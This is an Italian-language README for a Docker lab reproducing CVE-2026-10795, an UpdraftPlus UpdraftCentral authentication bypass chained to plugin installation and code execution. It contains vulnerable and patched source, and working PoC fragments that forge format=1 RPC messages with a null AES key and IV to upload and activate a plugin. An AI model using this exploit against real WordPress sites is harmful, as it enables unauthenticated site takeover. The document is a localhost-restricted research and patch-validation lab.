
Laboratorio Docker che riproduce CVE-2026-10795: bypass dell'autenticazione di UpdraftPlus UpdraftCentral collegato all'installazione di plugin per RCE. Include target vulnerabili/corretti, exploit PoC e analisi a livello di sorgente.
Questo repository contiene un laboratorio Docker locale per riprodurre e validare CVE-2026-10795, una vulnerabilità di bypass dell'autenticazione non autenticata che interessa il plugin WordPress UpdraftPlus attraverso il suo livello di comunicazione remota UpdraftCentral.
Il comportamento vulnerabile esiste nel flusso di gestione dei messaggi RPC di UpdraftCentral. Nelle versioni vulnerabili, un messaggio RPC contraffatto con format=1 può eludere la verifica della firma, attivare un percorso di decrittazione RSA fallito, e raggiungere comunque la decrittazione simmetrica con un comportamento prevedibile di chiave nulla/IV nullo. Ciò consente a un messaggio RPC crittografato manipolato di essere accettato e inviato come comando UpdraftCentral.
Questo laboratorio confronta due versioni di UpdraftPlus:
| Servizio | Versione UpdraftPlus | Scopo | URL |
|---|---|---|---|
vuln | 1.26.4 | Target di confronto vulnerabile | http://127.0.0.1:8081 |
patched | 1.26.5 | Target di confronto corretto | http://127.0.0.1:8082 |
La catena dimostrata è:```text Unauthenticated attacker → forged UpdraftCentral RPC request → format=1 signature verification bypass → failed RSA decrypt not rejected in vulnerable version → predictable zero-key/zero-IV decrypt path → forged JSON RPC command accepted → privileged UpdraftCentral command dispatch → plugin.upload_plugin → install and activate marker plugin → hard-coded /usr/bin/id proof endpoint
La vulnerabilità principale è il bypass dell'autenticazione. Il laboratorio dimostra che il bypass può essere concatenato a un impatto di tipo RCE quando è presente uno stato di chiave UpdraftCentral privilegiato, perché UpdraftCentral espone comandi legittimi di gestione dei plugin che possono installare e attivare plugin WordPress.
Non si tratta di una vulnerabilità di injection diretta di comandi. La prova dell'esecuzione di codice deriva dall'abuso della funzionalità di installazione autenticata dei plugin dopo aver bypassato il confine di autenticazione RPC.
Questo laboratorio è progettato esclusivamente per ricerca locale controllata, comprensione a livello di codice sorgente e dimostrazione per portfolio.
## Verified Facts
| Claim | Evidence | How to verify in this lab |
| ---------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------ |
| UpdraftPlus 1.26.4 è vulnerabile in questo laboratorio. | Il servizio vulnerabile accetta un messaggio RPC `format=1` falsificato e invia `plugin.upload_plugin`. | Esegui `python3 poc/poc.py --url http://127.0.0.1:8081`. |
| UpdraftPlus 1.26.5 blocca il messaggio falsificato in questo laboratorio. | Il servizio corretto non restituisce alcun corpo di risposta RPC e non invia il comando falsificato. | Esegui `python3 poc/poc.py --url http://127.0.0.1:8082`. |
| Il problema è un bypass dell'autenticazione nel layer RPC di UpdraftCentral. | Una richiesta RPC non autenticata falsificata può raggiungere l'invio del comando nella versione vulnerabile. | Confronta il comportamento di `--ping` tra le porte `8081` e `8082`. |
| Il laboratorio non pre-installa il plugin marker. | La configurazione installa solo WordPress, UpdraftPlus e uno stato di chiave UpdraftCentral locale. | Controlla `/wp-json/cve-lab/v1/id` prima di eseguire il PoC. |
| Il PoC installa il plugin marker tramite RPC falsificato. | Il PoC invia `plugin.upload_plugin` con un payload ZIP del plugin nel campo dati RPC. | Esegui il PoC e poi richiedi `/wp-json/cve-lab/v1/id`. |
| Il target vulnerabile raggiunge un impatto di tipo RCE. | Il plugin marker espone un endpoint hard-coded che restituisce l'output di `/usr/bin/id`. | Il target vulnerabile restituisce `uid=33(www-data) gid=33(www-data)`. |
| Il target corretto non installa il plugin marker. | L'endpoint marker restituisce `404 rest_no_route` sul servizio corretto. | Esegui il PoC contro `http://127.0.0.1:8082`. |
| Il laboratorio richiede uno stato di chiave UpdraftCentral. | L'invio di UpdraftCentral dipende da una voce di chiave locale e dai metadati associati. | Rivedi `scripts/setup-wordpress.sh`. |
## Assumptions and Unknowns
Questo laboratorio inserisce intenzionalmente uno stato di chiave UpdraftCentral locale per riprodurre una condizione del sito in cui è stato configurato il controllo remoto.
Lo stato di chiave inserito è un prerequisito del laboratorio, non la vulnerabilità stessa. Consente al laboratorio di esercitare in modo consistente il percorso di parsing e decrittazione RPC vulnerabile.
Il laboratorio non sostiene che ogni installazione di UpdraftPlus sia immediatamente sfruttabile. La catena dimostrata dipende dalla presenza di una voce di chiave locale UpdraftCentral associata a un utente WordPress privilegiato.
Il laboratorio dimostra un impatto controllato di tipo RCE installando un plugin marker che espone un endpoint di proof hard-coded `/usr/bin/id`. Non fornisce una web shell generica, parametro di esecuzione arbitraria di comandi, reverse shell, meccanismo di persistenza, furto di credenziali o callback esterno.
Il PoC è limitato a target locali e rifiuta hostname non locali per impostazione predefinita.
## Root Cause Summary
La causa principale è una validazione impropria dei messaggi RPC di UpdraftCentral nelle versioni vulnerabili di UpdraftPlus.
Il flusso RPC vulnerabile accetta un messaggio `format=1`. Il percorso `format=1` non richiede la stessa verifica della firma dei formati di messaggio più recenti.
Il problema di alto livello è:```text
format=1 message
→ signature verification is bypassed
→ RSA decrypt of the symmetric key can fail
→ failed decrypt result is not rejected
→ false is passed into the symmetric cipher as a key
→ phpseclib normalizes this into a predictable null key path
→ attacker-controlled encrypted JSON can decrypt successfully
→ command is dispatched
In un comportamento vulnerabile, la decrittazione RSA può restituire:```text false
Invece di rifiutare quel risultato di decifratura fallita, il flusso vulnerabile continua e passa il valore al livello di decifratura simmetrica.
Il pattern vulnerabile effettivo è:```php
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
$decrypted = $rij->decrypt($ciphertext);
Il problema è che $sym_key non viene convalidato prima di essere utilizzato.
Quando $sym_key è false, la configurazione del cifrario segue un comportamento prevedibile di chiave nulla/IV nullo. Ciò rende possibile creare un payload RPC crittografato utilizzando una chiave zero e un IV zero noti.
La versione patchata aggiunge un controllo prima che la chiave simmetrica venga utilizzata:```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }
Questo cambia il confine di fiducia.
Prima della patch:```text
failed RSA decrypt result could still reach symmetric decrypt
Dopo la patch:```text failed RSA decrypt result is rejected before command dispatch
Questo è il motivo per cui il servizio vulnerabile invia il comando RPC falsificato, mentre il servizio corretto non lo fa.
## Perché un Bypass dell'Autenticazione può Portare all'Esecuzione di Codice
CVE-2026-10795 è meglio descritto come un bypass dell'autenticazione perché il difetto principale risiede nel layer di autenticazione RPC e verifica dei messaggi.
Tuttavia, dopo aver superato quel confine di autenticazione, il messaggio RPC controllato dall'attaccante può raggiungere comandi privilegiati di UpdraftCentral.
Un importante percorso di comando è:```text
plugin.upload_plugin
Questo comando fa parte della funzionalità di gestione dei plugin di UpdraftCentral. Accetta un payload ZIP di un plugin, lo scrive in una posizione temporanea, installa il plugin e lo attiva quando richiesto.
La catena di impatto è quindi:```text Authentication bypass → forged privileged RPC command → plugin upload through legitimate UpdraftCentral functionality → plugin installation → plugin activation → WordPress plugin code execution
Questo non è un'iniezione di comandi. Il laboratorio dimostra l'esecuzione di codice installando un plugin marker che espone un singolo endpoint:```text
/wp-json/cve-lab/v1/id
Il plugin marker non accetta un parametro di comando. Esegue solo:```text /usr/bin/id
Questo mantiene la prova sotto controllo e evita di trasformare il laboratorio in una web shell generica.
## Riepilogo della Patch Sorgente
Il comportamento rilevante della patch è che la versione corretta rifiuta chiavi simmetriche non valide prima di tentare di decifrare il corpo del messaggio RPC.
La convalida importante è:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
Ciò previene il comportamento di fallback vulnerabile in cui un risultato di decrittografia RSA fallita può diventare un percorso di chiave simmetrica prevedibile.
Il risultato pratico è:```text UpdraftPlus 1.26.4 → forged format=1 RPC message reaches command dispatch
UpdraftPlus 1.26.5 → failed symmetric key validation stops the forged message → command dispatch is not reached
Il laboratorio convalida anche l'impatto a valle prendendo di mira il percorso reale del comando di upload del plugin UpdraftCentral.
Il comportamento del comando pertinente è:```text
plugin.upload_plugin
→ base64 decode ZIP data
→ write temporary ZIP file
→ UpdraftCentral_Plugin_Upgrader->install()
→ activate_plugin()
La versione patchata blocca il messaggio falsificato prima che questo percorso di comando venga raggiunto.
Questa sezione spiega il percorso vulnerabile a livello di codice sorgente e mappa ogni passaggio del PoC al corrispondente comportamento di UpdraftPlus / UpdraftCentral.
Il laboratorio non si basa su una falsa route applicativa vulnerabile. Il comportamento vulnerabile viene raggiunto attraverso il reale listener RPC di UpdraftCentral e il reale percorso di comando di gestione dei plugin di UpdraftCentral.
Le aree di codice sorgente importanti sono:```text vendor/team-updraft/common-libs/src/updraft-rpc/class-udrpc2.php central/bootstrap.php central/listener.php central/commands.php central/modules/plugin.php
### Creazione del Listener
Il percorso RPC vulnerabile inizia quando WordPress riceve una richiesta POST contenente:```text
udrpc_message
format
key_name
La libreria RPC registra un listener su WordPress wp_loaded quando quei campi POST esistono.
Concettualmente, il flusso è:```php if (!empty($_POST['udrpc_message']) && !empty($_POST['format'])) { add_action('wp_loaded', array($this, 'wp_loaded')); add_action('wp_loaded', array($this, 'wp_loaded_final'), 10000); }
Ciò significa che l'aggressore non ha bisogno di conoscere un endpoint REST speciale o un URL di amministrazione. La richiesta RPC falsificata viene inviata come una normale richiesta POST alla root del sito WordPress.
Il PoC invia:```text
POST /
format=1
key_name=0.central.updraftplus.com
udrpc_message=<crafted encrypted message>
La richiesta raggiunge lo stesso percorso listener utilizzato dalla comunicazione remota legittima di UpdraftCentral.
UpdraftCentral archivia le chiavi locali di controllo remoto nelle opzioni di WordPress. In questo laboratorio, lo script di configurazione imposta uno stato delle chiavi controllato sia per i target vulnerabili che per quelli patchati.
Il nome della chiave rilevante è:
0.central.updraftplus.com
```
Questo formato è prodotto dalla logica dell'indicatore chiave di UpdraftCentral:```php
private function indicator_name_from_index($index) {
return $index.'.central.updraftplus.com';
}
```
Il listener continua solo se il campo POST non crittografato corrisponde all'indicatore di chiave previsto:```php
if (empty($_POST['key_name']) || $_POST['key_name'] != $this->key_name_indicator) {
return;
}
```
Il PoC quindi imposta:```python
KEY_NAME = "0.central.updraftplus.com"
```
Questo non è la vulnerabilità. È un prerequisito di laboratorio che permette al test di esercitare il percorso di parsing e decrittazione RPC vulnerabile in modo riproducibile.
### Gestione del Formato e Bypass della Firma
UpdraftCentral supporta formati di messaggio. La distinzione importante è:```text
format=1 legacy path
format=2 signed message path
```
Nel percorso di codice vulnerabile, la verifica della firma avviene solo quando il formato è maggiore o uguale a 2:```php
if ($format >= 2) {
if (empty($_POST['signature'])) {
die;
}
if (!$this->key_remote) {
die;
}
if (!$this->verify_signature($udrpc_message, $_POST['signature'], $this->key_remote)) {
die;
}
}
```
Poiché il PoC usa:```text
format=1
```
questo blocco di verifica della firma viene saltato.
Questo è il confine del bypass dell'autenticazione.
Un messaggio `format=2` legittimo dovrebbe includere una firma valida. Il messaggio contraffatto `format=1` non ne ha bisogno, quindi il messaggio controllato dall'attaccante può proseguire verso il percorso di decifratura.
### Flusso di decifratura vulnerabile
Dopo i controlli sul formato e sul nome della chiave, il listener decifra il `udrpc_message` inviato.
Il flusso di decifratura vulnerabile in UpdraftPlus 1.26.4 è effettivamente:```php
$rsa->loadKey($this->key_local);
$sym_key = base64_decode($sym_key);
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
return $rij->decrypt($ciphertext);
```
Il bug si trova tra queste due operazioni:```php
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
```
Se la decifratura RSA fallisce, `$rsa->decrypt()` può restituire:```php
false
```
La versione vulnerabile non rifiuta tale valore prima di passarlo in:```php
$rij->setKey($sym_key);
```
La versione corretta risolve questo problema aggiungendo la validazione:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
```
Questa guardia è la patch rilevante per la sicurezza. Impedisce che un risultato di decrittografia RSA fallito raggiunga la configurazione della cifratura simmetrica.
### Perché `false` Diventa Prevedibile
Il comportamento vulnerabile è pericoloso perché `setKey(false)` non fallisce in modo sicuro in questo percorso di phpseclib.
Il codice della cifratura calcola la lunghezza della chiave dalla chiave fornita:```php
$this->setKeyLength(strlen($key) << 3);
$this->key = $key;
```
Quando `$key` è `false`, `strlen(false)` si comporta come un caso di chiave a lunghezza zero. La logica della lunghezza della chiave di Rijndael arrotonda le dimensioni molto piccole delle chiavi fino a una lunghezza minima valida:```php
case $length <= 128:
$this->key_length = 16;
break;
```
La configurazione del cifrario quindi riempie la chiave e l'IV con byte nulli:```php
$this->encryptIV = $this->decryptIV =
str_pad(substr($this->iv, 0, $this->block_size), $this->block_size, "\0");
$this->key =
str_pad(substr($this->key, 0, $this->key_length), $this->key_length, "\0");
```
Quindi l'attaccante può modellare il comportamento vulnerabile di decrittazione come:```text
AES/Rijndael-CBC
key = 16 null bytes
iv = 16 null bytes
```
Questo è il motivo per cui il PoC può crittografare un comando JSON RPC localmente e far sì che il target vulnerabile lo decrittografi con successo.
### Struttura del messaggio utilizzata dal PoC
La funzione di decrittazione vulnerabile si aspetta che il messaggio crittografato contenga:```text
3 hex chars length of RSA-encrypted symmetric key, as base64 text
N chars base64 RSA-encrypted symmetric key
16 hex chars length of ciphertext, as base64 text
M chars base64 encrypted message body
```
Il PoC costruisce questa struttura manualmente:```python
bad_sym_key_b64 = base64.b64encode(BAD_RSA_BLOCK).decode("ascii")
ciphertext_b64 = base64.b64encode(encrypted_inner_json).decode("ascii")
sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"
udrpc_message = f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"
```
Il blocco RSA è intenzionalmente non valido:```python
BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"
```
Su UpdraftPlus 1.26.4, quel blocco RSA non valido causa il fallimento della decifratura RSA, ma il fallimento non viene rifiutato.
Su UpdraftPlus 1.26.5, il risultato della decifratura fallita viene rifiutato dalla nuova guardia e il messaggio falsificato non raggiunge l'invio del comando.
### Inner JSON RPC Message
Il messaggio interno crittografato è un normale comando JSON in stile UpdraftCentral.
Per la convalida del ping, il PoC utilizza:```json
{
"command": "ping",
"time": 1710000000,
"key_name": "0.central.updraftplus.com",
"rand": 123456
}
```
Per la prova di identità predefinita, il PoC utilizza:```json
{
"command": "plugin.upload_plugin",
"time": 1710000000,
"key_name": "0.central.updraftplus.com",
"rand": 123456,
"data": {
"filename": "cve-2026-10795-id-marker.zip",
"data": "<base64 plugin zip>",
"activate": true
}
}
```
Il `key_name` appare sia all'esterno che all'interno del messaggio crittografato. Il listener verifica che entrambi corrispondano:```php
if (empty($udrpc_message['key_name']) || $_POST['key_name'] != $udrpc_message['key_name']) {
die;
}
```
Ecco perché il PoC deve includere lo stesso nome di chiave in entrambi i posti.
### Validazione JSON prima dell'invio
Dopo aver decifrato il messaggio, il listener lo analizza come JSON:```php
$udrpc_message = json_decode($udrpc_message, true);
```
Il messaggio deve contenere un comando valido:```php
if (empty($udrpc_message) || !is_array($udrpc_message) || empty($udrpc_message['command']) || !is_string($udrpc_message['command'])) {
die;
}
```
Deve anche contenere un timestamp:```php
if (empty($udrpc_message['time'])) {
die;
}
```
Il timestamp deve essere all'interno della finestra di replay consentita:```php
$time_difference = absint($udrpc_message['time'] - time());
if ($time_difference > $this->maximum_replay_time_difference) {
die;
}
```
Il PoC imposta quindi il campo interno `time` sull'ora corrente.
### Invio dei Comandi
Dopo che il messaggio viene decrittato e validato, UpdraftCentral invia il comando.
I comandi utilizzano un formato di prefisso:```text
<prefix>.<method>
```
Per esempio:```text
plugin.upload_plugin
```
Questo diventa:```text
prefix = plugin
method = upload_plugin
```
Il listener risolve la classe del comando dal prefisso e poi chiama il metodo dinamicamente:```php
$msg = apply_filters(
'updraftcentral_listener_udrpc_action',
call_user_func(array($command_class, $command), $data, $extra_info),
$command_class,
$class_prefix,
$command,
$data,
$extra_info
);
```
Per il comando PoC:```text
plugin.upload_plugin
```
il listener chiama:```php
UpdraftCentral_Plugin_Commands::upload_plugin($data)
```
Ecco perché il PoC non necessita di un sink diretto di iniezione di comandi. Raggiunge un comando legittimo privilegiato di UpdraftCentral dopo aver bypassato il confine di autenticazione RPC.
### Contesto utente e controlli delle capacità```php
if (!empty($extra_info['user_id'])) {
wp_set_current_user($extra_info['user_id']);
}
```
In questo laboratorio, la chiave seed ha:```text
extra_info.user_id = 1
```
Che simula una chiave UpdraftCentral configurata associata all'utente amministratore creato durante l'installazione di WordPress.
Questo è importante perché il percorso di upload del plugin controlla le capacità di WordPress:```php
if (!current_user_can('install_plugins') || !current_user_can('activate_plugins')) {
$permission_error = true;
}
```
Quindi il bypass da solo introduce il comando contraffatto nel layer RPC. I metadati della chiave seed determinano in quale contesto utente WordPress viene eseguito il comando.
In questo lab, il comando viene eseguito nel contesto di amministrazione perché la chiave è associata all'ID utente 1.
### Plugin Upload Sink
Il metodo del comando è:```php
public function upload_plugin($params) {
return $this->process_chunk_upload($params, 'plugin');
}
```
Il gestore di upload condiviso si aspetta dati di upload del plugin:```text
filename
data
activate
```
Il PoC invia:```python
{
"filename": "cve-2026-10795-id-marker.zip",
"data": base64.b64encode(zip_bytes).decode("ascii"),
"activate": True,
}
```
Il gestore di upload scrive il contenuto ZIP in un file temporaneo:```php
$result = file_put_contents(
$upload_dir.'/'.$filename,
base64_decode($params['data']),
FILE_APPEND | LOCK_EX
);
```
Per un upload non suddiviso in chunk, l'installazione procede immediatamente:```php
$install_now = true;
```
Il gestore costruisce quindi un percorso ZIP:```php
$zip_filepath = $upload_dir.'/'.$filename;
```
e lo installa utilizzando l'upgrader del plugin UpdraftCentral:```php
$upgrader = new UpdraftCentral_Plugin_Upgrader($skin);
$install_result = $upgrader->install($zip_filepath);
```
Se l'installazione ha successo e `activate` è true, il codice attiva il plugin installato:```php
if ((bool) $params['activate'] && !$is_active) {
$activate = activate_plugin($data['slug']);
}
```
Una risposta di installazione riuscita contiene:```php
return $this->_response(
array(
'installed' => true,
'installed_data' => $data,
)
);
```
Questa è la ragione a livello di codice per cui un bypass di autenticazione RPC contraffatto può essere concatenato all'installazione e attivazione di plugin WordPress.
### Plugin Marker
Il plugin marker viene generato dal PoC in memoria. Non è preinstallato dalla configurazione Docker.
Lo ZIP generato contiene:```text
cve-2026-10795-id-marker/
└── cve-2026-10795-id-marker.php
```
Il plugin marker registra una rotta REST:```text
/wp-json/cve-lab/v1/id
```
L'endpoint restituisce:```text
lab
plugin
proof
uid
gid
user
id_output
```
L'unico comando eseguito dal plugin marker è hard-coded:```php
shell_exec('/usr/bin/id 2>&1');
```
Non esiste un parametro `cmd` controllato dall'utente.
Questo è intenzionale. Il laboratorio dimostra l'esecuzione di codice plugin evitando una web shell generica.
### Perché il Target Patchato Restituisce 404
Il servizio patchato riceve la stessa richiesta contraffatta e ha lo stesso stato di chiave seedata.
La differenza è la guardia di decrittazione patchata:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
```
Poiché il PoC fornisce intenzionalmente un blocco RSA non valido, la chiave simmetrica decifrata non è valida.
In UpdraftPlus 1.26.5, il messaggio falsificato si ferma prima del parsing JSON e prima dell'invio del comando.
Pertanto:```text
plugin.upload_plugin is never called
marker plugin is never installed
/wp-json/cve-lab/v1/id returns 404 rest_no_route
```
Questo comportamento corretto dimostra che il risultato del laboratorio dipende dal percorso del codice RPC vulnerabile di UpdraftPlus, non dall'infrastruttura Docker.
## Mappatura da PoC a Sorgente
| Comportamento PoC | Comportamento sorgente testato | Previsto su 1.26.4 | Previsto su 1.26.5 |
| --------------------------------------- | ---------------------------------------------------------- | ------------------------------ | -------------------------------------------------------- |
| Invia POST con `format=1` | Il listener accetta il formato RPC legacy | Continua | Continua fino al controllo decrypt con patch |
| Omette la firma valida | Il controllo della firma si applica solo a `format >= 2` | Firma non richiesta | Firma non richiesta per `format=1`, ma successivamente bloccata |
| Invia blocco RSA non valido | La decrittazione RSA restituisce una chiave simmetrica non valida | Chiave non valida arriva a `setKey()` | Chiave non valida rifiutata |
| Cripta JSON con chiave null/IV null | Modella il comportamento di fallback di phpseclib dopo `setKey(false)` | Decritta in JSON valido | Non decritta |
| Imposta `command=ping` | Testa solo il bypass crittografico e l'invio | `PING DISPATCHED` | `PING NOT DISPATCHED` |
| Imposta `command=plugin.upload_plugin` | Chiama il metodo di upload del plugin UpdraftCentral | Plugin ZIP installato | Comando non raggiunto |
| Imposta `activate=true` | Attiva `activate_plugin()` dopo l'installazione | Plugin marker attivo | Plugin marker assente |
| Richiedi `/wp-json/cve-lab/v1/id` | Verifica se il codice del plugin marker è in esecuzione | Restituisce `uid=33(www-data)` | Restituisce `404 rest_no_route` |
## Come il Codice PoC si Mappa alla Vulnerabilità
Il PoC inizia rifiutando i target non locali:```python
allowed_hosts = {"127.0.0.1", "localhost", "::1"}
if host not in allowed_hosts:
raise ValueError("Refusing non-local target")
```
Questo mantiene lo script limitato al laboratorio Docker.
Il PoC costruisce il messaggio RPC interno:```python
inner = {
"command": command,
"time": int(time.time()),
"key_name": KEY_NAME,
"rand": random.randint(1, 2_147_483_647),
}
```
Se viene utilizzata la prova ID predefinita, il comando è:```python
command = "plugin.upload_plugin"
```
e i dati sono:```python
{
"filename": "cve-2026-10795-id-marker.zip",
"data": base64.b64encode(zip_bytes).decode("ascii"),
"activate": True,
}
```
Il PoC quindi crittografa il JSON interno con lo stato del cifrario prevedibile e vulnerabile:```python
ZERO_KEY = b"\x00" * 16
ZERO_IV = b"\x00" * 16
cipher = AES.new(ZERO_KEY, AES.MODE_CBC, iv=ZERO_IV)
ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
```
Questo corrisponde alla conseguenza vulnerabile del passaggio `false` nella configurazione della cifratura simmetrica.
Il PoC utilizza intenzionalmente un blocco RSA non valido:```python
BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"
```
Il messaggio `udrpc_message` risultante è costruito nello stesso formato con prefisso di lunghezza che la funzione RPC decrypt si aspetta:```python
sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"
return f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"
```
Finalmente, il PoC invia la richiesta RPC falsificata:```python
fields = {
"format": "1",
"key_name": KEY_NAME,
"udrpc_message": build_udrpc_message(command, data),
}
requests.post(target, data=fields, timeout=timeout)
```
Sul target vulnerabile, la risposta del server contiene un corpo di risposta JSON valido in stile RPC. Il PoC lo tratta come:```text
RPC DISPATCHED
```
Dopo l'invio, il PoC verifica l'impatto richiedendo l'endpoint di marcatura:```text
GET /wp-json/cve-lab/v1/id
```
Se il plugin marker è stato installato e attivato, l'endpoint restituisce:```text
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
Quell'output dimostra che il messaggio RPC non autenticato contraffatto ha raggiunto un percorso privilegiato di installazione del plugin e ha attivato il codice del plugin fornito dall'attaccante all'interno del laboratorio locale.
## Cosa dimostra il laboratorio
Questo laboratorio dimostra la seguente catena tecnica:```text
1. UpdraftPlus 1.26.4 accepts a forged format=1 UpdraftCentral RPC message.
2. The forged message does not need a valid signature.
3. A failed RSA decrypt result is not rejected before symmetric decrypt.
4. The symmetric decrypt path becomes predictable enough to craft a valid JSON command.
5. The JSON command reaches UpdraftCentral command dispatch.
6. The dispatched command can call plugin.upload_plugin.
7. plugin.upload_plugin can install and activate a ZIP plugin.
8. Activated plugin code runs in the web server context.
9. UpdraftPlus 1.26.5 blocks the same forged message before dispatch.
```
Il laboratorio non dimostra che ogni installazione sia sfruttabile senza prerequisiti.
Il prerequisito necessario per questa dimostrazione è:```text
an existing UpdraftCentral local key state associated with a privileged WordPress user
```
La configurazione Docker crea quel prerequisito in entrambi i target in modo che la differenza tra comportamento vulnerabile e corretto possa essere testata in modo equo.
## Architettura del Laboratorio
Il laboratorio esegue due installazioni WordPress isolate tramite Docker Compose.```text
.
├── docker-compose.yml
├── scripts/
│ └── setup-wordpress.sh
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── requirements.txt
├── README.md
└── .gitignore
```
I due servizi WordPress eseguono database separati e versioni separate di UpdraftPlus:
| Service | Component | Version / Role |
| --------------- | ----------------------- | ---------------------------------------------------------------- |
| `vuln` | WordPress + UpdraftPlus | UpdraftPlus 1.26.4 target vulnerabile |
| `patched` | WordPress + UpdraftPlus | UpdraftPlus 1.26.5 target corretto |
| `vuln_db` | MariaDB | Database per il target vulnerabile |
| `patched_db` | MariaDB | Database per il target corretto |
| `vuln_setup` | Servizio di configurazione WP-CLI | Installa WordPress, attiva UpdraftPlus, imposta lo stato della chiave locale |
| `patched_setup` | Servizio di configurazione WP-CLI | Installa WordPress, attiva UpdraftPlus, imposta lo stato della chiave locale |
Servizi esposti predefiniti:```text
Vulnerable target: http://127.0.0.1:8081
Patched target: http://127.0.0.1:8082
```
Il processo di configurazione inizializza lo stesso stato della chiave UpdraftCentral in entrambi i servizi:```text
key_name: 0.central.updraftplus.com
extra_info.user_id: 1
```
Questo dà a entrambi i target lo stesso stato prerequisito. La differenza nel comportamento deriva dal codice vulnerabile rispetto a quello corretto di UpdraftPlus, non da una diversa configurazione del laboratorio.
## Requisiti
* Docker Desktop o Docker Engine
* Docker Compose v2
* Python 3
* Supporto per ambienti virtuali Python
* Accesso a Internet durante la creazione dell'immagine Docker
* Pacchetti Python elencati in `requirements.txt`
Dipendenze Python:```text
requests
urllib3<2
pycryptodome
```
La constraint `urllib3<2` evita avvertimenti relativi a LibreSSL su alcune build Python di macOS.
## Avvio rapido
Inizia da uno stato di laboratorio pulito:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
```
Osserva i log di configurazione:```bash
docker compose logs -f vuln_setup patched_setup
```
Indicatori di configurazione previsti:```text
Seeded UpdraftCentral key: 0.central.updraftplus.com
Plugin updraftplus details:
Status: Active
Version: 1.26.4
Setup complete for CVE-2026-10795 vuln
```
[No content provided to translate.]```text
Seeded UpdraftCentral key: 0.central.updraftplus.com
Plugin updraftplus details:
Status: Active
Version: 1.26.5
Setup complete for CVE-2026-10795 patched
```
Controlla i servizi in esecuzione:```bash
docker compose ps
```
Crea e attiva un ambiente virtuale Python:```bash
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
```
Esegui la prova ID predefinita contro il target vulnerabile:```bash
python3 poc/poc.py --url http://127.0.0.1:8081
```
Esegui la stessa prova contro il target corretto:```bash
python3 poc/poc.py --url http://127.0.0.1:8082
```
Lo script richiede intenzionalmente l'opzione `--url`. Ciò costringe il tester a scegliere esplicitamente il target invece di attaccare automaticamente entrambi i servizi.
## Utilizzo del PoC
Comportamento predefinito:```bash
python3 poc/poc.py --url <local_target_url>
```
Esempio di target vulnerabile:```bash
python3 poc/poc.py --url http://127.0.0.1:8081
```
Esempio di target patchato:```bash
python3 poc/poc.py --url http://127.0.0.1:8082
```
Validazione opzionale solo ping:```bash
python3 poc/poc.py --ping --url http://127.0.0.1:8081
python3 poc/poc.py --ping --url http://127.0.0.1:8082
```
Opzioni supportate:
| Opzione | Richiesto | Scopo |
| ----------- | -------- | ------------------------------------------------------- |
| `--url` | Sì | URL del target del laboratorio locale |
| `--ping` | No | Esegue una validazione innocua di ping falsificato al posto della prova di identità |
| `--timeout` | No | Timeout HTTP in secondi. Predefinito: `15` |
Host di destinazione accettati:```text
127.0.0.1
localhost
::1
```
Per impostazione predefinita, il PoC rifiuta i target non locali.
## Come funziona il PoC
Il PoC viene eseguito dalla macchina host e invia richieste HTTP ai servizi Docker esposti.
L'azione predefinita del PoC è la prova dell'ID.
Il flusso ad alto livello è:```text
1. Receive explicit --url target from the tester
2. Refuse non-local targets
3. Build a marker WordPress plugin ZIP in memory
4. Create a forged UpdraftCentral RPC message
5. Send command plugin.upload_plugin through format=1
6. Trigger the vulnerable decrypt/dispatch path on UpdraftPlus 1.26.4
7. Install and activate the marker plugin
8. Request /wp-json/cve-lab/v1/id
9. Print the hard-coded /usr/bin/id output
```
Il marker plugin non è memorizzato nel repository come file plugin standalone. Viene generato in memoria dal PoC.
Il comando RPC falsificato è:```text
plugin.upload_plugin
```
I dati RPC contengono:```text
filename = cve-2026-10795-id-marker.zip
data = base64(plugin_zip)
activate = true
```
Il PoC crittografa il messaggio JSON RPC interno utilizzando:```text
AES-CBC
key = 16 null bytes
iv = 16 null bytes
```
Include anche un blocco di chiave simmetrica crittografata RSA intenzionalmente non valido.
Sulla versione vulnerabile, il fallimento di decrittazione RSA non viene respinto. Il messaggio prosegue nel percorso di decrittazione prevedibile con chiave nulla e il comando falsificato viene inviato.
Sulla versione corretta, la chiave simmetrica non valida viene respinta e il comando falsificato non viene inviato.
## Perché `--ping` esiste
L'opzione `--ping` è uno strumento di debug.
Convalida solo il bypass crittografico e il limite di invio RPC. Non carica un plugin e non esegue `/usr/bin/id`.
Usa `--ping` quando la prova ID predefinita non funziona e il fallimento deve essere isolato.
Se `--ping` fallisce, il problema è probabilmente prima dell'esecuzione del comando:```text
wrong key state
wrong key_name
message format issue
encryption mismatch
listener not active
patched behavior
```
Se `--ping` ha successo ma la prova dell'ID fallisce, il problema è probabilmente dopo l'invio:```text
plugin.upload_plugin data issue
ZIP plugin format issue
filesystem permission issue
plugin activation issue
REST endpoint registration issue
```
Comportamento previsto del ping:```text
1.26.4 vulnerable target → PING DISPATCHED
1.26.5 patched target → PING NOT DISPATCHED
```
## Risultati attesi
### Obiettivo vulnerabile
Comando:```bash
python3 poc/poc.py --url http://127.0.0.1:8081
```
Segnale vulnerabile previsto:```text
CVE-2026-10795 local lab-only ID validation
Scope : localhost / Docker lab only
Technique : forged format=1 plugin.upload_plugin with hard-coded id marker plugin
Safety : no generic web shell, no cmd parameter, no external targets
Key name : 0.central.updraftplus.com
